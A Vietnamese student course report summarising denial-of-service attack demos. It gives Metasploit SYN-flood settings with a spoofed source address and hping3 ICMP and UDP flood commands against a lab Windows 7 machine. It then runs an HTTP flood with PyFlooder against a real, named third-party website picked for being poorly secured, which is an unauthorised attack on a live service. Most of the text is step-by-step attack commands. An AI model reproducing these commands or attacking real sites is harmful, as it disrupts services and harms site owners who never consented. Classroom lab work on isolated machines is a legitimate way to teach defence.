

**HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG**

**--🙣🕮🙡--**

**BÁO CÁO CUỐI KỲ**

**MÔN KỸ THUẬT THEO DÕI, GIÁM SÁT AN TOÀN MẠNG**

**Tóm tắt demo tấn công DOS**

**Giảng Viên: *Sam Nguyen Xuan***

**Sinh Viên thực hiện:**

***Chế Công Hậu N17DCAT023 – D17CQAT01-N***

***Nguyễn Thịnh Phát N17DCAT053 – D17CQAT01-N***

**TPHCM – Ngày 24/5/2021**

1. **Tấn công tràn SYN bằng Metasploit**

Chuẩn bị: Sử dụng **Kali Linux** để tấn công tràn SYN trên máy Windows 7 (192.168.247.133) bằng **Metasploit Framework**. Sử dụng **Wireshark** để kiểm tra các gói tin.

Thực hiện:

1. Nhập lệnh nmap để quét nạn nhân.

**nmap 192.168.247.133**

1. Nhập lệnh **msfconsole** để chạy **Metasploit Framework**.
2. Nhập lệnh **use auxiliary/dos/tcp/synflood** để tấn công synflood hoặc ta có thể dùng lệnh **search** để tìm kiếm .
3. Nhập lệnh **show options**. Kết quả cho thấy thiết lập mặc định và các thông số bắt buộc.
4. Nhập các lệnh sau:

set RHOST 192.168.247.133 – chọn IP mục tiêu là IP máy nạn nhân.

set RPORT 445 – chọn PORT của máy nạn nhân mà đã quét được.

set SHOST 192.0.0.1 – cấu hình địa chỉ giả mạo cho máy tấn công.

set TIMEOUT 30000 – đặt thời gian đợi nhận dữ liệu mới.

1. Nhập lệnh **exploit** để bắt đầu tấn công tràn SYN.
2. Kiểm tra Task Manager bên máy nạn nhân.
3. Kiểm tra các gói bắt được ở Wireshark.

Ở đây ta thấy rất nhiều gói tin được gửi từ máy tấn công (IP giả mạo: 192.0.0.1)

buộc máy nạn nhân phải trả lời các request khiến tài nguyên của máy bị tiêu hao

1. **Tấn công DOS bằng Hping3**

Chuẩn bị: Sử dụng **Kali Linux** để tấn công DOS trên máy Windows 7 (192.168.247.133) bằng **lệnh Hping3**. Sử dụng **Wireshark** để kiểm tra các gói tin.

Thực hiện:

1. Nhập lệnh **hping3 -1 --flood 192.168.247.133** để tấn công DOS theo **ICMP mode**. Hoặc nhập lệnh **hping3 -2 --flood 192.168.247.133** để tấn công DOS theo **UDP mode**.
2. Kiểm tra Task Manager bên máy nạn nhân.
3. Kiểm tra các gói bắt được ở Wireshark của 2 mode.
4. **Tấn công DOS HTTP FLOOD đối với WEBSITE.**

Chuẩn bị: Sử dụng PyFlooder ở Github để tấn công HTTP Flood đối với website trên **Kali Linux**.

Thực hiện:

1. Lựa chọn một website bảo mật kém và không ảnh hưởng tiêu cực tới bất cứ ai khi ta thực hiện thực hành tấn công DOS Website. Ở đây đã chọn website : **http://arigatoshop.jp/**
2. Nhập lệnh **nmap arigatoshop.jp** để quét website nạn nhân có service http không.
3. Download **PyFlooder** ở GitHub về để thực hành.
4. Cd tới thư mục chứa script dos vừa mới download về. Mở terminal ở thư mục đó. Nhập lệnh theo mẫu sau **python pyflooder.py < Hostname > < Port > < Number\_of\_Attacks >** .
5. Kiểm tra lại ở website nạn nhân.